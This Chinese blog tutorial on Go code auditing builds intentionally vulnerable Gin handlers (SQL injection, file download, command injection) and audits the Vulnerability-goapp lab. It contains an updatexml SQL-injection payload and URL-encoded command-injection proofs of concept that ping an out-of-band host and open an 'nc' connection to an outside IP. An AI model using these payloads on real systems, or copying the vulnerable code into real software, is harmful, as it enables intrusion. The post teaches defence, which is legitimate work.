GoLang代码审计基础

admin 2022年6月2日17:54:11评论355 views字数 10487阅读34分57秒阅读模式

GoLang代码审计基础

Gin框架下载地址:github.com/gin-gonic/gin

mysql库下载地址:github.com/go-sql-driver/mysql

Gin框架教程地址:https://www.topgoer.cn/docs/ginkuangjia/ginkuangjia-1c50hfaag99k2


漏洞学习

SQL注入漏洞

SQL注入的生成

代码

packagemain
import( "database/sql" "fmt" "log" "net/http"
"github.com/gin-gonic/gin" _"github.com/go-sql-driver/mysql")
vardb *sql.DB
//此处的结构体需要对应数据库里面的字段typeAdmin struct{ Id string`json:"id"` Usernamestring`json:"username"` Passwordstring`json:"password"`}
funcinit(){ //连接数据库的方法,使用init的优先级比main高,会优先执行 //使用方式:"账号:密码@地址/数据库?..." conn:="root:123456@tcp(127.0.0.1:3306)/golang?charset=utf8&parseTime=true&loc=Local" varerr error db,err =sql.Open("mysql",conn) iferr !=nil{ log.Fatalln(err) } fmt.Println("连接成功")}
//查询方法funcselectData(c*gin.Context){ //接收一个用户传参,类似php的$_GET name:=c.Query("name") //声明一个结构体 varadmin Admin //SQL注入问题,只要不过滤用户的输入,只要是拼接就会产生SQL注入问题 sqlStr:=fmt.Sprintf("select* from admin where username = '%s'",name) fmt.Println(sqlStr) //此处就是将查询的结果给到上面的结构体 err:=db.QueryRow(sqlStr).Scan(&admin.Id,&admin.Username,&admin.Password) iferr !=nil{ fmt.Println(err) } //将结果输出 c.JSON(http.StatusOK,admin)
}
funcmain(){ //开启一个Web服务,端口8000 r:=gin.Default() r.GET("/sql",selectData) r.Run(":8000")}


以上就是一个SQL注入的Demo,核心还是用户的输入导致的SQL注入问题。

http://localhost:8000/sql?name=root%27and%20updatexml(1,concat(0x7e,user(),0x7e),1)%20--%20+


GoLang代码审计基础


看终端

GoLang代码审计基础


Gin框架中,使用c.Stringc.JSON等的方式才能在网页中看到数据,fmt.println()这种方式只是打印到终端操作

做修改把错误信息输出到服务器

iferr != nil {    c.String(http.StatusOK,err.Error())    fmt.Println(err)  }


GoLang代码审计基础


预防SQL注入的方式

1、占位符

在上述代码中使用占位符,可以有效防止SQL注入。实际生成的结果是变量会被添加引号处理,不会包含有害语句

sqlStr :="select* from admin where username=?"  err :=db.QueryRow(sqlStr,name).Scan(&admin.Id,&admin.Username,&admin.Password)


查看执行结果

http://localhost:8000/sql?name=root%27and%20updatexml(1,concat(0x7e,user(),0x7e),1)%20--%20+


GoLang代码审计基础


SQL语句就会变成这样子

select* from admin where username="'andupdatexml(1,concat(0x7e,user(),0x7e),1) -- +"


2、预编译

以下就是预编译的代码

//预编译

sqlStr:= "select * from admin where username=?"  stmt,err := db.Prepare(sqlStr)  deferstmt.Close()  rows,err := stmt.Query(name)  iferr != nil {    c.String(http.StatusOK,err.Error())  }  deferrows.Close()  forrows.Next() {    rows.Scan(&admin.Id,&admin.Username, &admin.Password)
}


我已将错误结果输出到服务器,输入单引号之后返回的结果是没有找到数据

GoLang代码审计基础


不同数据库中,SQL语句的占位符语法

数据库

占位符语法

MySql

?

PostgreSQL

$1,$2

SQLite

?$1

Oracle

:name

总结:

任何时候都不要相信用户的输入,任何时候都不应该自己拼接SQL语句

任意文件下载

看代码,写了一个文件下载的方法

funcdownloadData(c*gin.Context){  c.String(http.StatusOK,fmt.Sprintf("请输入要下载的文件:?file=n"))  //接收用户的传参  fileName:=c.Query("filename")  filePath:="./"+fileName  //Stat返回一个描述name指定的文件对象的FileInfo,就是文件的信息  _,err :=os.Stat(filePath)  iferr !=nil||os.IsNotExist(err){    c.JSON(http.StatusOK,"文件不存在")  }  //读取文件  byteBody,err :=os.ReadFile(filePath)  iferr !=nil{    c.JSON(http.StatusOK,gin.H{      "success":false,      "msg":    "下载文件失败",    })  }  c.Header("Content-Type","application/octet-stream")  c.Header("Content-Disposition","attachment;filename= "+fileName)  c.String(http.StatusOK,string(byteBody))}
funcmain(){ r:=gin.Default() r.GET("/download",downloadData) r.Run(":8000")}


Gin框架的路由都是自己设定的,就是在r.GET("/download",downloadData),想要显示的信息都在downloadData方法

输入参数可进行读取,这里找不到下载goheader,其他文件都能下载

GoLang代码审计基础


在进行任意文件下载的时候还需要改一下文件后缀,不知道咋设置名字就是不对

GoLang代码审计基础


命令执行

代码

这里就是给一个模板变量,将接收的内容发送到command方法

func commandData(c*gin.Context){  var outInfo bytes.Buffer  command:=c.PostForm("input")  //在这里会进行命令的拼接,然后进行命令执行。无过滤可导致任意命令执行  cmd:=exec.Command("cmd","/C",fmt.Sprintf("ping-n 2 %s",command))  cmd.Stdout=&outInfo  cmd.Run()  c.String(http.StatusOK,outInfo.String())
}
func main(){ r:=gin.Default() r.LoadHTMLGlob("templates/*") r.GET("/index",indexData) r.POST("/command",commandData) r.Run(":8000")}templates/index.html模板文件
<html> <head></head> <title>Commandexecution</title> <body> <h2>HelloWorld!</h2> <formaction="/command"method="post"> <inputtype="text"name="input"value=""> <inputtype="submit"value="提交"> </form> </body></html>


拼接命令

GoLang代码审计基础


返回结果

GoLang代码审计基础


以下是全部代码

package main
import( "bytes" "database/sql" "fmt" "log" "net/http" "os" "os/exec"
"github.com/gin-gonic/gin" _"github.com/go-sql-driver/mysql")
vardb *sql.DB
type Admin struct{ Id string`json:"id"` Username string`json:"username"` Password string`json:"password"`}
func init(){ conn:="root:123456@tcp(127.0.0.1:3306)/golang?charset=utf8&parseTime=true&loc=Local" var err error db,err =sql.Open("mysql",conn) iferr !=nil{ log.Fatalln(err) } fmt.Println("连接成功")}
func selectData(c*gin.Context){ name:=c.Query("name") var admin Admin //占位符,这种方式不会导致SQL注入的发生,实际生成的结果是变量会被添加引号处理,不会包含有害语句 //sqlStr := "select * from admin where username=?" //err := db.QueryRow(sqlStr, name).Scan(&admin.Id, &admin.Username,&admin.Password)
//预编译 //sqlStr := "select * from admin where username=?" //stmt, err := db.Prepare(sqlStr) //defer stmt.Close() //rows, err := stmt.Query(name) //if err != nil { // c.String(http.StatusOK, err.Error()) //} //defer rows.Close() //for rows.Next() { // rows.Scan(&admin.Id, &admin.Username, &admin.Password)
//}
//拼接 sqlStr:=fmt.Sprintf("select* from admin where username = '%s'",name) fmt.Println(sqlStr) err:=db.QueryRow(sqlStr).Scan(&admin.Id,&admin.Username,&admin.Password)
iferr !=nil{ c.String(http.StatusOK,err.Error()) fmt.Println(err) } c.JSON(http.StatusOK,admin)
}
funcdownloadData(c*gin.Context){ c.String(http.StatusOK,fmt.Sprintf("请输入要下载的文件:?filename=n")) fileName:=c.Query("filename") filePath:="./"+fileName _,err :=os.Stat(filePath) iferr !=nil||os.IsNotExist(err){ c.JSON(http.StatusOK,"文件不存在") } byteBody,err :=os.ReadFile(filePath) iferr !=nil{ c.JSON(http.StatusOK,gin.H{ "success":false, "msg": "下载文件失败", }) } c.Header("Content-Type","application/octet-stream") c.Header("Content-Disposition","attachment;filename= "+fileName) c.String(http.StatusOK,string(byteBody))}
funcindexData(c*gin.Context){ c.HTML(http.StatusOK,"index.html",nil)}
funccommandData(c*gin.Context){ varoutInfo bytes.Buffer command:=c.PostForm("input") cmd:=exec.Command("cmd","/C",fmt.Sprintf("ping-n 2 %s",command)) cmd.Stdout=&outInfo cmd.Run() c.String(http.StatusOK,outInfo.String())
}
funcmain(){ r:=gin.Default() r.LoadHTMLGlob("templates/*")
r.GET("/sql",selectData) r.GET("/download",downloadData) r.GET("/index",indexData) r.POST("/command",commandData) r.Run(":8000")}


代码审计

网上没有合适的系统来进行代码审计练习,在github找到了这套练习的源码

源码:https://github.com/Hardw01f/Vulnerability-goapp

首先看一下main.go的路由、方法、开放的端口

func main() {  var portNum = flag.String("p", "80", "Specifyapplication server listeningport")  flag.Parse()  fmt.Println("Vulnappserver listening : " + *portNum)
http.Handle("/assets/",http.StripPrefix("/assets/",http.FileServer(http.Dir("assets/")))) http.HandleFunc("/",sayYourName) http.HandleFunc("/test",test) http.HandleFunc("/login",login.Login) http.HandleFunc("/logout",logout.Logout) http.HandleFunc("/new",register.NewUserRegister) http.HandleFunc("/top",showUserTopPage) http.HandleFunc("/profile",user.ShowUserProfile) http.HandleFunc("/profile/edit",user.ShowUserModifyPage) http.HandleFunc("/profile/edit/confirm",user.ShowEditConfirm) http.HandleFunc("/profile/edit/update",user.UpdateUserDetails) http.HandleFunc("/profile/changepasswd",user.PasswdChange) http.HandleFunc("/profile/compchangepasswd",user.ConfirmPasswdChange) http.HandleFunc("/profile/edit/image",uploader.ShowImageChangePage) http.HandleFunc("/profile/edit/upload",uploader.UploadImage) http.HandleFunc("/post",post.ShowAddPostPage) http.HandleFunc("/timeline",post.ShowTimeline) http.HandleFunc("/timeline/searchpost",search.SearchPosts) http.HandleFunc("/hints",Hints) http.HandleFunc("/db",DBDetails) http.HandleFunc("/adminlogin",admin.ShowAdminLogIn) http.HandleFunc("/adminconfirm",admin.Confirm) http.HandleFunc("/adminusers",admin.ShowAdminPage) err:= http.ListenAndServe(":"+*portNum, nil) iferr != nil { log.Fatal("ListenAndServe:", err) }}


命令执行漏洞

pkg/admin/admin.go处,存在命令执行函数exec.Command,其中commandLine是通过拼接的语句

funcGetAdminSid(adminSessionCookie string) (results string, err error){  commandLine:= "mysql -h mysql -u root -prootwolf -e 'select adminsid fromvulnapp.adminsessions where adminsessionid="" +adminSessionCookie + "";'"
res,err := exec.Command("sh", "-c",commandLine).Output() iferr != nil { fmt.Println(err) }
results= string(res)
ifresults != "" { returnresults, nil }
err= xerrors.New("recode was not set")
return "", err}


跟踪GetAdminSid方法谁去调用了,在此处存在调用的方法。

adminSessionCookie参数是由r.Cookie("adminSID")获取,参数可控,导致了命令执行漏洞

http.HandleFunc("/adminusers",admin.ShowAdminPage)funcShowAdminPage(w http.ResponseWriter, r *http.Request) {  ifr.Method == "GET" {    adminSID,err := r.Cookie("adminSID")    iferr != nil {      fmt.Printf("%+vn",err)    }    fmt.Println(adminSID.Value)
adminUid,err := GetAdminSid(adminSID.Value) iferr != nil { fmt.Println("notauthentication") t,_ :=template.ParseFiles("./views/admin/failedauthentication.gtpl") t.Execute(w,nil) return }


旧版本的代码

commandLine:= "mysql -h mysql -u root -prootwolf -e 'select adminsid fromvulnapp.adminsessions where adminsessionid=" +adminSessionCookie + ";'"


命令执行,直接拼接语句即可

GoLang代码审计基础


新版已经改为

"mysql-h mysql -u root -prootwolf -e 'select adminsid fromvulnapp.adminsessions where adminsessionid="" +adminSessionCookie + "";'"


r.Cookie不能获取Cookie中的双引号,无法进行闭合

adminSID,err := r.Cookie("adminSID")

GoLang代码审计基础


为了演示只能修改一下源代码

在接收参数的时候进行一下URL解码

adminSIDs,_ := url.QueryUnescape(adminSID.Value)


这样就可绕过r.Cookie检测的"

POC

1"'& ping -l 484 ns1.cybertunnel.run &'"


使用ping的方式检测是否成功执行命令

GoLang代码审计基础


ICMP-SizeLog

GoLang代码审计基础


下面还有几处,只是cookie不会进行url解码

uid,err := r.Cookie("UserID")    iferr != nil {      fmt.Println(err)    }    fmt.Println(uid)
userName,err := r.Cookie("UserName") iferr != nil{ fmt.Println(err) } fmt.Println(userName.Value)
cmd:= "mysql -h mysql -u root -prootwolf -e 'selectid,name,mail,age,created_at,updated_at from vulnapp.user where namenot in ("" + userName.Value +"");'"
fmt.Println(cmd)
res,err := exec.Command("sh", "-c",cmd).Output() iferr != nil { fmt.Println("err: ", err) }


第二处命令执行

由于是linux命令,我就修改一下。然后找到对应的路由

http.HandleFunc("/timeline/searchpost",search.SearchPosts)
funcSearchPosts(w http.ResponseWriter, r *http.Request) { ifr.Method == "POST" { searchWord:= r.FormValue("post") fmt.Println("value: ", searchWord) testStr:= "mysql -h mysql -u root -prootwolf -e 'select post,created_atfrom vulnapp.posts where post like "%" + searchWord +"%"'"
fmt.Println(testStr)
//testres,err := exec.Command("sh", "-c",testStr).Output() testres,err := exec.Command("cmd", "/C",testStr).Output() iferr != nil { fmt.Println(err) }


只能是POST传参

GoLang代码审计基础


终端访问记录

Vulnappserver listening : 80value:  mysql-h mysql -u root -prootwolf -e 'select post,created_at fromvulnapp.posts where post like "%%"'exitstatus 1
00{[]}POST=123mysql-h mysql -u root -prootwolf -e 'select post,created_at fromvulnapp.posts where post like "%123%"'exitstatus 1


直接进行拼接注入,POST请求

post=%31%32%33%25%22%27%26%20%70%69%6e%67%20%2d%6c%20%32%37%38%20%6e%73%31%2e%63%79%62%65%72%74%75%6e%6e%65%6c%2e%72%75%6e%20%26%27%22%25%20%25%22%27


终端回显

GoLang代码审计基础


ICMP-SizeLog

GoLang代码审计基础


也可以尝试通过端口判定tcp反连接

post=%31%32%33%25%22%27%26%20%6e%63%20%31%32%34%2e%32%32%33%2e%32%30%32%2e%39%30%20%36%34%31%39%31%20%26%27%22%25%20%25%22%27


GoLang代码审计基础


搜索关键字命令:exec.Command


文件上传类,在go中是危害不大的,因为他不会去解析文件,不会导致通过上传文件去控制服务器。在go中的路由都是自定义的,访问的文件都是通过模板去访问指定目录下的静态文件。


通过关键字db.Exec搜索执行SQL语句的命令,都是使用占用符,不会产生SQL注入漏洞


_,err = db.Exec("insert into adminsessions(adminsessionid)values(?)", adminSessionID)  iferr != nil {    fmt.Printf("%+vn",err)  }

关注公众号

公众号长期更新安全类文章,关注公众号,以便下次轻松查阅

GoLang代码审计基础

参与渗透测试培训联系

GoLang代码审计基础




原文始发于微信公众号(moonsec):GoLang代码审计基础

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月2日17:54:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   GoLang代码审计基础http://cn-sec.com/archives/1079480.html

发表评论

匿名网友 填写信息